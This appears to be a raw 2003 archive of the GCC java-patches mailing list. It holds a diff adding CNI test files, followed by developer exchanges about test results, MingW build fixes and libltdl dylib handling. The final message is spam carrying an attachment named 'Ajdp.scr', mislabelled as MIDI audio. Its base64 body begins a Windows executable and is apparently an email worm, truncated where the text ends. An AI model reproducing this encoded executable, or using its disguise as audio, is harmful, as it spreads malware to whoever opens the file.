libjava/testsuite/libjava.cni/shortfield.java 22 Mar 2003 07:12:33 -0000 @@ -0,0 +1,21 @@ +class shortfieldbase +{ + short modCount; +} + +public class shortfield extends shortfieldbase +{ + short size__; + int data; + + native void ouch (); + + public static void main (String[] s) + { + shortfield f = new shortfield(); + f.modCount = 99; + f.size__ = 2; + f.data = 0x12345678; + f.ouch(); + } +} Index: libjava/testsuite/libjava.cni/shortfield.out =================================================================== RCS file: libjava/testsuite/libjava.cni/shortfield.out diff -N libjava/testsuite/libjava.cni/shortfield.out --- /dev/null 1 Jan 1970 00:00:00 -0000 +++ libjava/testsuite/libjava.cni/shortfield.out 22 Mar 2003 07:12:33 -0000 @@ -0,0 +1 @@ +list: 99 2 0x12345678 Index: libjava/testsuite/libjava.jni/jni.exp =================================================================== RCS file: /cvs/gcc/gcc/libjava/testsuite/libjava.jni/jni.exp,v retrieving revision 1.9 diff -u -r1.9 jni.exp --- libjava/testsuite/libjava.jni/jni.exp 13 Dec 2002 05:00:14 -0000 1.9 +++ libjava/testsuite/libjava.jni/jni.exp 22 Mar 2003 07:12:33 -0000 @@ -43,50 +43,6 @@ return 1 } -# Invoke the program and see what happens. Return 0 on failure. -proc gcj_invoke {program expectFile ld_library_additions} { - global env - set lib_path $env(LD_LIBRARY_PATH) - - set newval . - if {[llength $ld_library_additions] > 0} { - append newval :[join $ld_library_additions :] - } - append newval :$lib_path - - setenv LD_LIBRARY_PATH $newval - setenv SHLIB_PATH $newval - - verbose "LD_LIBRARY_PATH=$env(LD_LIBRARY_PATH)" - - set result [libjava_load ./$program] - set status [lindex $result 0] - set output [lindex $result 1] - - # Restore setting - setenv LD_LIBRARY_PATH $lib_path - setenv SHLIB_PATH $lib_path - - if {$status != "pass"} { - verbose "got $output" - fail "$program run" - untested "$program output" - return 0 - } - - set id [open $expectFile r] - set expected [read $id] - close $id - - if {! [string compare $output $expected]} { - pass "$program output" - return 1 - } else { - fail "$program output" - return 0 - } -} - # Do all the work for a single JNI test. Return 0 on failure. proc gcj_jni_test_one {file} { global runtests From java-patches-return-6559-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sat Mar 22 07:42:14 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 16379 invoked by alias); 22 Mar 2003 07:42:14 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 16372 invoked from network); 22 Mar 2003 07:42:14 -0000 Received: from unknown (HELO mail02.agrinet.ch) (212.28.134.115) by sources.redhat.com with SMTP; 22 Mar 2003 07:42:14 -0000 Received: from pop.agri.ch (217.162.238.190) by mail02.agrinet.ch (7.0.008) (authenticated as toa@pop.agri.ch) id 3E7BA30E0000225C; Sat, 22 Mar 2003 08:42:12 +0100 Message-ID: <3E7C13E5.5020308@pop.agri.ch> Date: Sat, 22 Mar 2003 08:42:29 +0100 From: Andreas Tobler User-Agent: Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.3) Gecko/20030312 X-Accept-Language: en-us, en MIME-Version: 1.0 To: tromey@redhat.com CC: GCC libjava patches Subject: Re: Patch: FYI: CNI test directory References: <87d6kjop1c.fsf@fleche.redhat.com> In-Reply-To: <87d6kjop1c.fsf@fleche.redhat.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Running /Volumes/xufs/gcc-cvs/gcc/libjava/testsuite/libjava.cni/cni.exp ... === libjava Summary === # of expected passes 10 [titanium:xufs/gcc-cvs/objdir] andreast% ./gcc/xgcc -v Using built-in specs. Configured with: ../gcc/configure --prefix=/Volumes/xufs/gcc-branch/testbin --enable-languages=c,c++,java --enable-libgcj --enable-threads=posix --enable-shared --disable-multilib Thread model: posix gcc version 3.4 20030321 (experimental) [titanium:xufs/gcc-cvs/objdir] andreast% uname -ra Darwin titanium 6.3 Darwin Kernel Version 6.3: Thu Feb 13 19:32:24 PST 2003; aramesh:BUILD/obj/RELEASE_PPC Power Macintosh powerpc From java-patches-return-6560-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sat Mar 22 07:51:18 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 17439 invoked by alias); 22 Mar 2003 07:51:17 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 17422 invoked from network); 22 Mar 2003 07:51:16 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by sources.redhat.com with SMTP; 22 Mar 2003 07:51:16 -0000 Received: from fleche.redhat.com (tf0239.peakpeak.com [204.144.239.239]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id AAA29778; Sat, 22 Mar 2003 00:51:15 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 5D4724F828B; Sat, 22 Mar 2003 00:47:07 -0700 (MST) To: Andreas Tobler Cc: GCC libjava patches Subject: Re: Patch: FYI: CNI test directory References: <87d6kjop1c.fsf@fleche.redhat.com> <3E7C13E5.5020308@pop.agri.ch> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: I am a jelly donut. I am a jelly donut. Date: 22 Mar 2003 00:47:06 -0700 In-Reply-To: <3E7C13E5.5020308@pop.agri.ch> Message-ID: <871y0zonb9.fsf@fleche.redhat.com> Lines: 9 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Andreas" == Andreas Tobler writes: Andreas> === libjava Summary === Andreas> # of expected passes 10 Well, that's odd. I'm seeing 1 FAIL. Maybe layout rules are different on your box, and g++ and gcj happen to agree by accident. Tom From java-patches-return-6561-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sat Mar 22 08:58:25 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 9434 invoked by alias); 22 Mar 2003 08:58:24 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 9250 invoked from network); 22 Mar 2003 08:58:24 -0000 Received: from unknown (HELO icarus.host4u.net) (209.150.128.167) by sources.redhat.com with SMTP; 22 Mar 2003 08:58:24 -0000 Received: from p733 (adsl-68-74-196-213.dsl.milwwi.ameritech.net [68.74.196.213]) by icarus.host4u.net (8.11.6/8.11.6) with SMTP id h2M8wNW11937; Sat, 22 Mar 2003 02:58:23 -0600 From: Mohan Embar To: java-patches@gcc.gnu.org, Michael Koch , tromey@redhat.com Date: Sat, 22 Mar 2003 02:58:14 -0600 X-Priority: 3 (Normal) Reply-To: gnustuff@thisiscool.com In-Reply-To: <200303180844.05777.konqueror@gmx.de> Message-Id: <06EAB01WNJJ0721CBWVB632LSQVVS.3e7c25a6@p733> Subject: Re: FYI: Patch: java.net - remove of native code and configure fix MIME-Version: 1.0 Content-Type: text/plain; charset="windows-1252" Michael, This appears to have been committed only to the trunk and not 3.3. Tom: I understand that 3.3 is only for show-stopping bugfixes, but currently the MingW build is broken. I have already submitted quick and dirty patches to unbreak them. What is the best course of action?: - Apply Michael's patches to 3.3? - Apply my quick and dirty patches (they will unbreak the build, but not fix more fundamental problems like strerror() being broken for MingW). - Apply more clever, but hacky patches (cf. http://gcc.gnu.org/ml/java/2002-12/msg00295.html)? -- Mohan http://www.thisiscool.com/ http://www.animalsong.org/ 3/18/2003 1:44:05 AM, Michael Koch wrote: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi list, I commited the attached fix to java.net and configure. Michael - -- Homepage: http://www.worldforge.org/ -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+ds5FWSOgCCdjSDsRAqa/AJ9k689jkFUGYhoDxvoLpKNKEmtHigCeIs2L FdRvBTDkyH1B1fD7d84+RvA= =nR/L -----END PGP SIGNATURE----- From java-patches-return-6562-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sat Mar 22 09:33:22 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 24840 invoked by alias); 22 Mar 2003 09:33:21 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 24819 invoked from network); 22 Mar 2003 09:33:20 -0000 Received: from unknown (HELO cuddles.cambridge.redhat.com) (81.96.64.123) by sources.redhat.com with SMTP; 22 Mar 2003 09:33:20 -0000 Received: (from aph@localhost) by cuddles.cambridge.redhat.com (8.11.6/8.11.0) id h2M9X5d02915; Sat, 22 Mar 2003 09:33:05 GMT From: Andrew Haley MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15996.11729.610101.211768@cuddles.cambridge.redhat.com> Date: Sat, 22 Mar 2003 09:33:05 +0000 (GMT) To: Eric Blake Cc: Zack Weinberg , tromey@redhat.com, gcc-patches@gcc.gnu.org, java-patches@gcc.gnu.org Subject: Re: Squelch Java use of HOST_FLOAT_WORDS_BIG_ENDIAN (take two) In-Reply-To: <3E7BB5D8.6080204@email.byu.edu> References: <871y1bx963.fsf@egil.codesourcery.com> <87n0jx7u34.fsf@egil.codesourcery.com> <87r8951hla.fsf@fleche.redhat.com> <871y159qa2.fsf@egil.codesourcery.com> <15990.59397.938582.765048@cuddles.cambridge.redhat.com> <87hea0pre2.fsf@egil.codesourcery.com> <15995.12562.959274.670217@cuddles.cambridge.redhat.com> <3E7BB5D8.6080204@email.byu.edu> Eric Blake writes: > > > > This is fine. Sorry for the delay. > > > > static const jdouble s = 0x1.921fb54442eeap+1; > > > > will take a little while to get used to, though... :-) > > > > Andrew. > > Would it be worth modifying the gjch output to also list the intended > decimal value as a comment following the hex listing? I'd approve a patch that did such a thing. :-) Andrew. From java-patches-return-6563-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sat Mar 22 10:12:51 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 4782 invoked by alias); 22 Mar 2003 10:12:51 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 4775 invoked from network); 22 Mar 2003 10:12:50 -0000 Received: from unknown (HELO mail0.ewetel.de) (212.6.122.12) by sources.redhat.com with SMTP; 22 Mar 2003 10:12:50 -0000 Received: from idefix.konqueror.de (dynadsl-080-228-73-011.ewetel.net [80.228.73.11]) by mail0.ewetel.de (8.12.1/8.12.1) with ESMTP id h2MACmdx019703; Sat, 22 Mar 2003 11:12:48 +0100 (MET) Received: from asterix.konqueror.de ([192.168.1.3]) by idefix.konqueror.de with esmtp (Exim 3.35 #1 (Debian)) id 18wfyI-00072j-00; Sat, 22 Mar 2003 11:11:26 +0100 From: Michael Koch To: gnustuff@thisiscool.com, java-patches@gcc.gnu.org, tromey@redhat.com Subject: Re: FYI: Patch: java.net - remove of native code and configure fix Date: Sat, 22 Mar 2003 11:13:39 +0100 User-Agent: KMail/1.5 References: <06EAB01WNJJ0721CBWVB632LSQVVS.3e7c25a6@p733> In-Reply-To: <06EAB01WNJJ0721CBWVB632LSQVVS.3e7c25a6@p733> MIME-Version: 1.0 Content-Type: Text/Plain; charset="windows-1252" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline Message-Id: <200303221113.39986.konqueror@gmx.de> X-CheckCompat: OK =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Am Samstag, 22. M=E4rz 2003 09:58 schrieb Mohan Embar: > Michael, > > This appears to have been committed only to the trunk and not 3.3. > > Tom: I understand that 3.3 is only for show-stopping bugfixes, but > currently the MingW build is broken. I have already submitted quick > and dirty patches to unbreak them. > > What is the best course of action?: > > - Apply Michael's patches to 3.3? > - Apply my quick and dirty patches (they will unbreak the build, > but not fix more fundamental problems like strerror() being broken > for MingW). - Apply more clever, but hacky patches > (cf. http://gcc.gnu.org/ml/java/2002-12/msg00295.html)? I have no 3.3 tree to commit. Tom: If you like I could resend the patch for trunk to you. Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+fDdTWSOgCCdjSDsRAsF5AJ43NEt4urvootnVlET2GEe4LyBE4gCdHrB4 p74l4TkGHt7A+ZSvUDNqxAc=3D =3DS13S =2D----END PGP SIGNATURE----- From java-patches-return-6564-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sat Mar 22 11:01:34 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 14348 invoked by alias); 22 Mar 2003 11:01:34 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 14340 invoked from network); 22 Mar 2003 11:01:34 -0000 Received: from unknown (HELO mail02.agrinet.ch) (212.28.134.115) by sources.redhat.com with SMTP; 22 Mar 2003 11:01:34 -0000 Received: from pop.agri.ch (217.162.238.190) by mail02.agrinet.ch (7.0.008) (authenticated as toa@pop.agri.ch) id 3E7BA30E00003374; Sat, 22 Mar 2003 12:01:32 +0100 Message-ID: <3E7C429C.1020700@pop.agri.ch> Date: Sat, 22 Mar 2003 12:01:48 +0100 From: Andreas Tobler User-Agent: Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.3) Gecko/20030312 X-Accept-Language: en-us, en MIME-Version: 1.0 To: tromey@redhat.com CC: Java Patch List Subject: Re: PATCH: jni support for darwin References: <3E6CDB51.5000106@pop.agri.ch> <874r5wpjc0.fsf@fleche.redhat.com> In-Reply-To: <874r5wpjc0.fsf@fleche.redhat.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Tom Tromey wrote: >>>>>>"Andreas" == Andreas Tobler writes: > > > Andreas> The second part modifies posix.h, it changes the suffix for > Andreas> shared libraries under darwin to dylib. > > But not the prefix, so a library is named `libfoo.dylib'? > Weird. > > Andreas> Tested on 3.4 and 3.3. Ok to commit? > > Yes, thanks. Commited to trunk. > > Andreas> 2003-03-10 Andreas Tobler > Andreas> * libltdl/ltdl.c: Omit underscore under darwin. > > It's fine for us to have a divergence like this, but we'd really > prefer it to end up in the main libltdl. If you haven't already > submitted this to the libtool developers, could you? I wait with this one since I saw some work ongoing @ libtool/ltdl. Andreas From java-patches-return-6565-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sat Mar 22 11:03:26 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 14695 invoked by alias); 22 Mar 2003 11:03:25 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 14688 invoked from network); 22 Mar 2003 11:03:25 -0000 Received: from unknown (HELO mail02.agrinet.ch) (212.28.134.115) by sources.redhat.com with SMTP; 22 Mar 2003 11:03:25 -0000 Received: from pop.agri.ch (217.162.238.190) by mail02.agrinet.ch (7.0.008) (authenticated as toa@pop.agri.ch) id 3E7BA30E000033B1; Sat, 22 Mar 2003 12:03:23 +0100 Message-ID: <3E7C430C.3000908@pop.agri.ch> Date: Sat, 22 Mar 2003 12:03:40 +0100 From: Andreas Tobler User-Agent: Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.3) Gecko/20030312 X-Accept-Language: en-us, en MIME-Version: 1.0 To: tromey@redhat.com CC: Java Patch List Subject: Re: correct dylib suffix in libltdl References: <3E6AE522.3060704@pop.agri.ch> <87vfyco4go.fsf@fleche.redhat.com> In-Reply-To: <87vfyco4go.fsf@fleche.redhat.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Tom Tromey wrote: >>>>>>"Andreas" == Andreas Tobler writes: > > > Andreas> this patch adds correct dylib detection for darwin. It is > Andreas> necessary to continue jni call support on darwin. > > Looking on the trunk, it appears this code is already in > gcc/libtool.m4 and libjava/configure. At least, the hunk I checked > is. Do we still need this patch? (I haven't been following things > closely lately, sorry.) > I crosscheck with libtool/ltdl. Some work is ongoing here. Andreas From java-patches-return-6566-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sun Mar 23 09:37:29 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 3281 invoked by alias); 23 Mar 2003 09:37:28 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 3219 invoked from network); 23 Mar 2003 09:37:17 -0000 Received: from unknown (HELO relay-3v.club-internet.fr) (194.158.96.114) by sources.redhat.com with SMTP; 23 Mar 2003 09:37:17 -0000 Received: from Dyqfux (liifi-11-212.n.club-internet.fr [213.44.42.212]) by relay-3v.club-internet.fr (Postfix) with SMTP id 090C816D0 for ; Sun, 23 Mar 2003 10:36:54 +0100 (CET) From: inet To: java-patches@gcc.gnu.org Subject: Have a excite Lady Day MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=A6O06K506Pl7Gxy3j5yOa4A865QR04j Message-Id: <20030323093654.090C816D0@relay-3v.club-internet.fr> Date: Sun, 23 Mar 2003 10:36:54 +0100 (CET) --A6O06K506Pl7Gxy3j5yOa4A865QR04j Content-Type: text/html; Content-Transfer-Encoding: quoted-printable --A6O06K506Pl7Gxy3j5yOa4A865QR04j Content-Type: audio/x-midi; name=Ajdp.scr Content-Transfer-Encoding: base64 Content-ID: TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA2AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4g RE9TIG1vZGUuDQ0KJAAAAAAAAAAYmX3gXPgTs1z4E7Nc+BOzJ+Qfs1j4E7Pf5B2zT/gTs7Tn GbNm+BOzPucAs1X4E7Nc+BKzJfgTs7TnGLNO+BOz5P4Vs134E7NSaWNoXPgTswAAAAAAAAAA UEUAAEwBBAC4jrc8AAAAAAAAAADgAA8BCwEGAADAAAAAkAgAAAAAAFiEAAAAEAAAANAAAAAA QAAAEAAAABAAAAQAAAAAAAAABAAAAAAAAAAAYAkAABAAAAAAAAACAAAAAAAQAAAQAAAAABAA ABAAAAAAAAAQAAAAAAAAAAAAAAAg1gAAZAAAAABQCQAQAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ANAAAOwBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAudGV4dAAAAEq6AAAAEAAAAMAAAAAQ AAAAAAAAAAAAAAAAAAAgAABgLnJkYXRhAAAiEAAAANAAAAAgAAAA0AAAAAAAAAAAAAAAAAAA QAAAQC5kYXRhAAAAbF4IAADwAAAAUAAAAPAAAAAAAAAAAAAAAAAAAEAAAMAucnNyYwAAABAA AAAAUAkAEAAAAABAAQAAAAAAAAAAAAAAAABAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFWL7IPsFItF EFNWM/ZXM9uJdeyJdfiJRfA7dRAPjW8BAACLRfBqA1o7wolV9H0DiUX0i030uD09PT2Nffxm q4XJqn4Vi0UIjX38A/CLwcHpAvOli8gjyvOkik38isHA6AKF24hF/3Qmi30Uhf9+J4vDi3UM K0X4mff/hdJ1G8YEMw1DxgQzCkODRfgC6wuLdQyLfRTrA4t1DA+2Rf+LFTDwQACA4QPA4QSK 